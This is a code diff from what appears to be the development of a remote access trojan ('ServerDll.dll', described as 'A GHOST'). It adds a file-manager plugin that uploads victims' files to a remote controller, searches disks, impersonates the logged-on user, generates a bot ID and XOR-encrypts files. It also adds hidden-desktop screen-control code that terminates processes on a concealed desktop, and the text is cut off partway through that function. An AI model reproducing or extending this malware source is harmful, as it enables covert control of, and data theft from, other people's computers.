BEGIN
|
||||
END
|
||||
@@ -103,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,3,9
|
||||
FILEVERSION 1,0,4,0
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -121,7 +121,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.3.9"
|
||||
VALUE "FileVersion", "1.0.4.0"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
Binary file not shown.
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,152 @@
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
#include "Manager.h"
|
||||
#include <sstream>
|
||||
#include "zip.h"
|
||||
|
||||
#pragma once
|
||||
#include <winioctl.h>
|
||||
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
|
||||
#include "MasterEncoder.h"
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
typedef struct {
|
||||
UINT nFileSize; // 文件大小
|
||||
UINT nSendSize; // 已发送大小
|
||||
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
BOOL error;
|
||||
} FILESIZE;
|
||||
|
||||
|
||||
typedef struct {
|
||||
TCHAR SearchFileName[MAX_PATH];
|
||||
TCHAR SearchPath[MAX_PATH];
|
||||
BOOL bEnabledSubfolder;
|
||||
} FILESEARCH;
|
||||
|
||||
|
||||
typedef struct {
|
||||
BYTE Token;
|
||||
int w,h,size;
|
||||
} FILEPICINFO;
|
||||
|
||||
|
||||
struct SEARCH {
|
||||
TCHAR TC_disk[8];
|
||||
TCHAR TC_search[MAX_PATH];
|
||||
};
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef struct _FILE_NAME_INFORMATION {
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[MAX_PATH];
|
||||
} FILE_NAME_INFORMATION;
|
||||
|
||||
typedef LONG(__stdcall* ZwQueryInformationFile) (
|
||||
IN HANDLE FileHandle,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
OUT PVOID FileInformation,
|
||||
IN ULONG FileInformationLength,
|
||||
IN ULONG FileInformationClass
|
||||
);
|
||||
|
||||
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
MasterEncoder m_encoder;
|
||||
DWORD dwRet;
|
||||
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(ISocketBase* pClient, int n, void* user);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
LPBYTE lpSendPacket;
|
||||
std::list <std::string> m_UploadList;
|
||||
BOOL m_bIsWow64;
|
||||
UINT m_nTransferMode;
|
||||
HANDLE m_hFileSend;
|
||||
HANDLE m_hFileRecv;
|
||||
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
||||
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
||||
bool benofrce;
|
||||
TCHAR* copyfile;
|
||||
HANDLE ImpersonateLoggedOnUserWrapper();
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer(BOOL bIsUpload);
|
||||
UINT SendFilesList(TCHAR* lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
void SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
void ExeCompress(BYTE* lpBuffer);
|
||||
void SendSearchData(LPBYTE lpBuffer);
|
||||
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
|
||||
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
|
||||
|
||||
protected:
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL bIsStopSearch;
|
||||
FILESEARCH filesearch;
|
||||
|
||||
void StopSearchTheard();
|
||||
void SendSearchFilesList(LPCTSTR str);
|
||||
static void WINAPI FindFileThread(LPVOID lparam);
|
||||
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
|
||||
TCHAR g_desktopName[MAX_PATH];
|
||||
ULONG PseudoRand(ULONG* seed);
|
||||
void GetBotId(TCHAR* botId);
|
||||
HDESK g_hDesk;;
|
||||
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
|
||||
void SendNetHood(); //发送共享文件目录
|
||||
void encfile(char* in_filename);
|
||||
void decryptfile(char* in_filename);
|
||||
bool FnDelPathFile(TCHAR* tc_path);
|
||||
|
||||
TCHAR* zippath_t;
|
||||
HANDLE m_hWorkZIPThread;
|
||||
BOOL bIsStopZIP;
|
||||
void StopZIPTheard();
|
||||
void StartZIP();
|
||||
static void WINAPI FindZIPThread(LPVOID lparam);
|
||||
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
|
||||
|
||||
//info
|
||||
void SendFileInfo(TCHAR* filepath,TCHAR * type);
|
||||
bool ResizePicture(TCHAR* strSource);
|
||||
|
||||
TCHAR* volName; // 驱动盘名称
|
||||
TCHAR* tc_search; // 搜索关键词
|
||||
HANDLE hVol; // 用于储存驱动盘句柄
|
||||
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
|
||||
long counter;
|
||||
LPBYTE lpBuffer;
|
||||
char* c_pathname;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
#include "StdAfx.h"
|
||||
#include "MasterEncoder.h"
|
||||
#include <fstream>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
MasterEncoder::MasterEncoder()
|
||||
{
|
||||
_codeKey = 100;
|
||||
_sign = nullptr;
|
||||
_signLen = 0;
|
||||
}
|
||||
|
||||
MasterEncoder::~MasterEncoder()
|
||||
{
|
||||
SAFE_DELETE_AR(_sign);
|
||||
}
|
||||
|
||||
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
|
||||
{
|
||||
if (sign && signLen) {
|
||||
_signLen = signLen;
|
||||
SAFE_DELETE_AR(_sign);
|
||||
_sign = new char[signLen];
|
||||
if (_sign) {
|
||||
memcpy(_sign, sign, signLen);
|
||||
} else {
|
||||
Mprintf("setSignAndKey Failed!\n");
|
||||
}
|
||||
}
|
||||
_codeKey = key;
|
||||
}
|
||||
|
||||
void MasterEncoder::encode(unsigned char* data, long size)
|
||||
{
|
||||
for (long i = 0; i < size; i++) {
|
||||
data[i] ^= _codeKey;
|
||||
}
|
||||
}
|
||||
|
||||
void MasterEncoder::decode(unsigned char* data, long size)
|
||||
{
|
||||
for (long i = 0; i < size; i++) {
|
||||
data[i] ^= _codeKey;
|
||||
}
|
||||
}
|
||||
|
||||
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
|
||||
{
|
||||
std::ifstream ifs;
|
||||
ifs.open(filepath, std::ios::in | std::ios::binary);
|
||||
|
||||
if (!ifs.is_open()) {
|
||||
Mprintf("文件打开失败: %s\n", filepath.c_str());
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
ifs.seekg(0, std::ios_base::end);
|
||||
size =(long) ifs.tellg();
|
||||
ifs.seekg(0, std::ios_base::beg);
|
||||
unsigned char* data = new unsigned char[size];
|
||||
long count = 0;
|
||||
while (count < size) {
|
||||
ifs.read((char*)&data[count], sizeof(unsigned char));
|
||||
count++;
|
||||
}
|
||||
|
||||
Mprintf("read PDF size = %d\n", size);
|
||||
|
||||
ifs.close();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
|
||||
{
|
||||
std::ofstream ofs;
|
||||
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
|
||||
|
||||
if (!ofs.is_open()) {
|
||||
Mprintf("文件打开失败: %s\n", filePath.c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
long count = 0;
|
||||
while (count < size) {
|
||||
ofs.write((char*)&data[count], sizeof(unsigned char));
|
||||
count++;
|
||||
}
|
||||
Mprintf("save PDF size = %d\n", size);
|
||||
ofs.close();
|
||||
}
|
||||
|
||||
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||
{
|
||||
long size = 0;
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
//判断是否已经加密过
|
||||
if (memcmp(data, _sign, _signLen) == 0) {
|
||||
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
|
||||
writePDF(savePath, data, size);
|
||||
} else {
|
||||
encode(data, size);
|
||||
|
||||
if (_signLen > 0) {
|
||||
unsigned char* p = new unsigned char[size + _signLen];
|
||||
memcpy(p, _sign, _signLen);
|
||||
memcpy(p + _signLen, data, size);
|
||||
|
||||
writePDF(savePath, p, size + _signLen);
|
||||
|
||||
delete[] p;
|
||||
} else {
|
||||
writePDF(savePath, data, size);
|
||||
}
|
||||
}
|
||||
|
||||
delete[] data;
|
||||
}
|
||||
|
||||
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||
{
|
||||
long size = 0;
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
if (_signLen == 0) {
|
||||
decode(data, size);
|
||||
writePDF(savePath, data, size);
|
||||
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||
unsigned char* p = (data + _signLen);
|
||||
decode(p, size - _signLen);
|
||||
writePDF(savePath, p, size - _signLen);
|
||||
} else {
|
||||
Mprintf("解密失败: %s\n", pdfPath.c_str());
|
||||
}
|
||||
|
||||
delete[] data;
|
||||
}
|
||||
|
||||
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
|
||||
{
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
if (_signLen == 0) {
|
||||
decode(data, size);
|
||||
return data;
|
||||
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||
size -= _signLen;
|
||||
unsigned char* p = new unsigned char[size];
|
||||
memcpy(p, data + _signLen, size);
|
||||
decode(p, size);
|
||||
delete[] data;
|
||||
return p;
|
||||
} else {
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
class MasterEncoder
|
||||
{
|
||||
public:
|
||||
MasterEncoder();
|
||||
~MasterEncoder();
|
||||
|
||||
void setSignAndKey(char* sign, int signLen, unsigned char key);
|
||||
|
||||
void decode(unsigned char* data, long size);
|
||||
void encode(unsigned char* data, long size);
|
||||
|
||||
void writePDF(const std::string& filePath, unsigned char* data, long size);
|
||||
unsigned char* readPDF(const std::string& filepath, long& size);
|
||||
|
||||
public:
|
||||
void encodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||
void decodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||
unsigned char* decode(const std::string& pdfPath, long& size);
|
||||
|
||||
private:
|
||||
unsigned char _codeKey;
|
||||
char* _sign;
|
||||
int _signLen;
|
||||
};
|
||||
|
||||
}
|
||||
+2911
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,207 @@
|
||||
//
|
||||
//http://www.codeproject.com/KB/files/zip_utils.aspx
|
||||
//
|
||||
|
||||
#ifndef _zip_H
|
||||
#define _zip_H
|
||||
|
||||
|
||||
// ZIP functions -- for creating zip files
|
||||
// This file is a repackaged form of the Info-Zip source code available
|
||||
// at www.info-zip.org. The original copyright notice may be found in
|
||||
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
|
||||
// extend its use in Windows/C++. Also to add encryption and unicode.
|
||||
|
||||
|
||||
#ifndef _unzip_H
|
||||
DECLARE_HANDLE(HZIP);
|
||||
#endif
|
||||
// An HZIP identifies a zip file that is being created
|
||||
|
||||
typedef DWORD ZRESULT;
|
||||
// return codes from any of the zip functions. Listed later.
|
||||
|
||||
|
||||
|
||||
HZIP CreateZip(const TCHAR* fn, const char* password);
|
||||
HZIP CreateZip(void* buf, unsigned int len, const char* password);
|
||||
HZIP CreateZipHandle(HANDLE h, const char* password);
|
||||
// CreateZip - call this to start the creation of a zip file.
|
||||
// As the zip is being created, it will be stored somewhere:
|
||||
// to a pipe: CreateZipHandle(hpipe_write);
|
||||
// in a file (by handle): CreateZipHandle(hfile);
|
||||
// in a file (by name): CreateZip("c:\\test.zip");
|
||||
// in memory: CreateZip(buf, len);
|
||||
// or in pagefile memory: CreateZip(0, len);
|
||||
// The final case stores it in memory backed by the system paging file,
|
||||
// where the zip may not exceed len bytes. This is a bit friendlier than
|
||||
// allocating memory with new[]: it won't lead to fragmentation, and the
|
||||
// memory won't be touched unless needed. That means you can give very
|
||||
// large estimates of the maximum-size without too much worry.
|
||||
// As for the password, it lets you encrypt every file in the archive.
|
||||
// (This api doesn't support per-file encryption.)
|
||||
// Note: because pipes don't allow random access, the structure of a zipfile
|
||||
// created into a pipe is slightly different from that created into a file
|
||||
// or memory. In particular, the compressed-size of the item cannot be
|
||||
// stored in the zipfile until after the item itself. (Also, for an item added
|
||||
// itself via a pipe, the uncompressed-size might not either be known until
|
||||
// after.) This is not normally a problem. But if you try to unzip via a pipe
|
||||
// as well, then the unzipper will not know these things about the item until
|
||||
// after it has been unzipped. Therefore: for unzippers which don't just write
|
||||
// each item to disk or to a pipe, but instead pre-allocate memory space into
|
||||
// which to unzip them, then either you have to create the zip not to a pipe,
|
||||
// or you have to add items not from a pipe, or at least when adding items
|
||||
// from a pipe you have to specify the length.
|
||||
// Note: for windows-ce, you cannot close the handle until after CloseZip.
|
||||
// but for real windows, the zip makes its own copy of your handle, so you
|
||||
// can close yours anytime.
|
||||
|
||||
|
||||
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
|
||||
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
|
||||
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
|
||||
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
|
||||
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
|
||||
// ZipAdd - call this for each file to be added to the zip.
|
||||
// dstzn is the name that the file will be stored as in the zip file.
|
||||
// The file to be added to the zip can come
|
||||
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
|
||||
// from a file: ZipAddHandle(hz,"file.dat", hfile);
|
||||
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
|
||||
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
|
||||
// (folder): ZipAddFolder(hz,"subdir");
|
||||
// Note: if adding an item from a pipe, and if also creating the zip file itself
|
||||
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
|
||||
// function. This will let the zipfile store the item's size ahead of the
|
||||
// compressed item itself, which in turn makes it easier when unzipping the
|
||||
// zipfile from a pipe.
|
||||
|
||||
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
|
||||
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
|
||||
// then this function will return information about that memory block.
|
||||
// buf will receive a pointer to its start, and len its length.
|
||||
// Note: you can't add any more after calling this.
|
||||
|
||||
ZRESULT CloseZip(HZIP hz);
|
||||
// CloseZip - the zip handle must be closed with this function.
|
||||
|
||||
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
|
||||
// FormatZipMessage - given an error code, formats it as a string.
|
||||
// It returns the length of the error message. If buf/len points
|
||||
// to a real buffer, then it also writes as much as possible into there.
|
||||
|
||||
|
||||
|
||||
// These are the result codes:
|
||||
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
|
||||
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
|
||||
// The following come from general system stuff (e.g. files not openable)
|
||||
#define ZR_GENMASK 0x0000FF00
|
||||
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
|
||||
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
|
||||
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
|
||||
#define ZR_WRITE 0x00000400 // a general error writing to the file
|
||||
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
|
||||
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
|
||||
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
|
||||
#define ZR_READ 0x00000800 // a general error reading the file
|
||||
// The following come from mistakes on the part of the caller
|
||||
#define ZR_CALLERMASK 0x00FF0000
|
||||
#define ZR_ARGS 0x00010000 // general mistake with the arguments
|
||||
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
|
||||
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
|
||||
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
|
||||
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
|
||||
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
|
||||
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
|
||||
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
|
||||
// The following come from bugs within the zip library itself
|
||||
#define ZR_BUGMASK 0xFF000000
|
||||
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
|
||||
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
|
||||
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
|
||||
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// e.g.
|
||||
//
|
||||
// (1) Traditional use, creating a zipfile from existing files
|
||||
// HZIP hz = CreateZip("c:\\simple1.zip",0);
|
||||
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
|
||||
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
|
||||
// CloseZip(hz);
|
||||
//
|
||||
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
|
||||
// HZIP hz = CreateZip(0,100000, 0);
|
||||
// // adding a conventional file...
|
||||
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
|
||||
// // adding something from memory...
|
||||
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
|
||||
// ZipAdd(hz,"file.dat", buf,1000);
|
||||
// // adding something from a pipe...
|
||||
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
|
||||
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
|
||||
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
|
||||
// WaitForSingleObject(hthread,INFINITE);
|
||||
// CloseHandle(hthread); CloseHandle(hread);
|
||||
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
|
||||
// { HANDLE hwrite = (HANDLE)dat;
|
||||
// char buf[1000]={17};
|
||||
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
|
||||
// CloseHandle(hwrite);
|
||||
// return 0;
|
||||
// }
|
||||
// // and now that the zip is created, let's do something with it:
|
||||
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
|
||||
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
|
||||
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
|
||||
// CloseHandle(hfz);
|
||||
// CloseZip(hz);
|
||||
//
|
||||
// (3) Handle use, for file handles and pipes
|
||||
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
|
||||
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
|
||||
// HZIP hz = CreateZipHandle(hzwrite,0);
|
||||
// // ... add to it
|
||||
// CloseZip(hz);
|
||||
// CloseHandle(hzwrite);
|
||||
// WaitForSingleObject(hthread,INFINITE);
|
||||
// CloseHandle(hthread);
|
||||
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
|
||||
// { HANDLE hread = (HANDLE)dat;
|
||||
// char buf[1000];
|
||||
// while (true)
|
||||
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
|
||||
// // ... and do something with this zip data we're receiving
|
||||
// if (red==0) break;
|
||||
// }
|
||||
// CloseHandle(hread);
|
||||
// return 0;
|
||||
// }
|
||||
|
||||
|
||||
|
||||
// Now we indulge in a little skullduggery so that the code works whether
|
||||
// the user has included just zip or both zip and unzip.
|
||||
// Idea: if header files for both zip and unzip are present, then presumably
|
||||
// the cpp files for zip and unzip are both present, so we will call
|
||||
// one or the other of them based on a dynamic choice. If the header file
|
||||
// for only one is present, then we will bind to that particular one.
|
||||
ZRESULT CloseZipZ(HZIP hz);
|
||||
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
|
||||
bool IsZipHandleZ(HZIP hz);
|
||||
#ifdef _unzip_H
|
||||
#undef CloseZip
|
||||
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
|
||||
#else
|
||||
#define CloseZip CloseZipZ
|
||||
#define FormatZipMessage FormatZipMessageZ
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -194,6 +194,13 @@
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp">
|
||||
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
@@ -250,6 +257,13 @@
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
|
||||
@@ -0,0 +1,615 @@
|
||||
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "StdAfx.h"
|
||||
#include <Windowsx.h>
|
||||
#include "ScreenHideManager.h"
|
||||
#include <WinUser.h>
|
||||
#include <string>
|
||||
#include <Shlwapi.h>
|
||||
#include <ShlObj.h>
|
||||
#include <Tlhelp32.h>
|
||||
#include <shellapi.h>
|
||||
#include <winioctl.h>
|
||||
#include <Wtsapi32.h>
|
||||
#include <set>
|
||||
#include <vector>
|
||||
|
||||
|
||||
#pragma comment (lib, "Shlwapi.lib")
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
|
||||
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
|
||||
// 切换到目标桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 枚举目标桌面的所有窗口
|
||||
BOOL bFound = FALSE;
|
||||
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
||||
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
||||
|
||||
DWORD dwProcessId;
|
||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||
|
||||
// 获取进程名
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||||
if (hProcess) {
|
||||
char exePath[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||||
if (_stricmp(exePath, pData->first) == 0) {
|
||||
*(pData->second) = TRUE;
|
||||
return FALSE; // 终止枚举
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
return TRUE; // 继续枚举
|
||||
}, reinterpret_cast<LPARAM>(&data));
|
||||
|
||||
return bFound;
|
||||
}
|
||||
|
||||
// 获取指定桌面下的所有进程ID
|
||||
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
|
||||
std::set<DWORD> pidSet;
|
||||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
if (SetThreadDesktop(hDesk)) {
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
|
||||
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
|
||||
|
||||
// 跳过不可见窗口和子窗口
|
||||
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||
DWORD pid = 0;
|
||||
GetWindowThreadProcessId(hWnd, &pid);
|
||||
if (pid != 0) pids.insert(pid);
|
||||
}
|
||||
return TRUE;
|
||||
}, reinterpret_cast<LPARAM>(&pidSet));
|
||||
SetThreadDesktop(hOriginalDesk);
|
||||
}
|
||||
|
||||
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
|
||||
}
|
||||
|
||||
bool IsSystemProcess(DWORD pid) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) return true;
|
||||
|
||||
char exeName[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
bool isSystem = false;
|
||||
|
||||
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||
isSystem = (_stricmp(exeName, szExplorerFile)==0);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
return isSystem;
|
||||
}
|
||||
|
||||
void SafeTerminateDesktopProcesses(HDESK hDesk) {
|
||||
// 检查桌面句柄有效性
|
||||
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
|
||||
|
||||
// 获取当前桌面(用于恢复)
|
||||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||
if (!hOriginalDesk) {
|
||||
Mprintf("Failed to get original desktop\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 切换桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
Mprintf("SetThreadDesktop failed\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 枚举进程
|
||||
auto pids = GetProcessIdsInDesktop(hDesk);
|
||||
SetThreadDesktop(hOriginalDesk); // 立即恢复
|
||||
|
||||
// 终止进程
|
||||
for (DWORD pid : pids) {
|
||||
if (pid == GetCurrentProcessId()) continue; // 跳过自己
|
||||
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) {
|
||||
Mprintf("OpenProcess failed for PID: %d\n", pid);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 检查是否为系统进程
|
||||
if (IsSystemProcess(pid)) {
|
||||
